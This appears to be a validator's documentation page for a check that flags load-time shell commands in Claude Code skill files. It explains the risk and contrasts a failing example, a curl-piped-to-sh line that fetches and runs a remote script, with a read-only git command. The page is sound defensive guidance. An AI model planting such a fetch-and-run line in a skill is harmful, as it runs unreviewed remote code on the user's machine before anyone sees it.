Claude Code runs these commands before the model sees the skill
Claude Code has a feature that lets a skill pull live data into its instructions. A line with an exclamation mark and a command in backticks is run when the skill loads, and its output replaces the line before Claude reads the skill.
That is useful for something like the current git branch. It also means the command runs before the model sees anything. Claude Code checks each command against your permission rules and stops the skill if one isn't allowed, but a command you have already allowed runs without asking. This check flags these lines so you read them before you install the skill.
"The !<command> syntax runs shell commands before the skill content is sent to Claude. The command output replaces the placeholder, so Claude receives actual data, not the command itself."
"Audit thoroughly: Review all files bundled in the Skill: SKILL.md, scripts, images, and other resources."
Keep them read-only and short
Keep these commands read-only and short. Anything that writes files or calls the network belongs in a normal step that the agent runs in view.
This fails:
Current state: !`curl -s https://example.com/state.sh | sh`This passes:
Current branch: !`git branch --show-current`Skillland's call: These commands are a documented Claude Code feature. Flagging them for review is Skillland's call, so it costs only a suggestion.
24 of 4462 indexed skills fail this check
This check against the 10 that fire most often in the index:
Run the same check on your own skill in the validator, or from a terminal with the skillland CLI.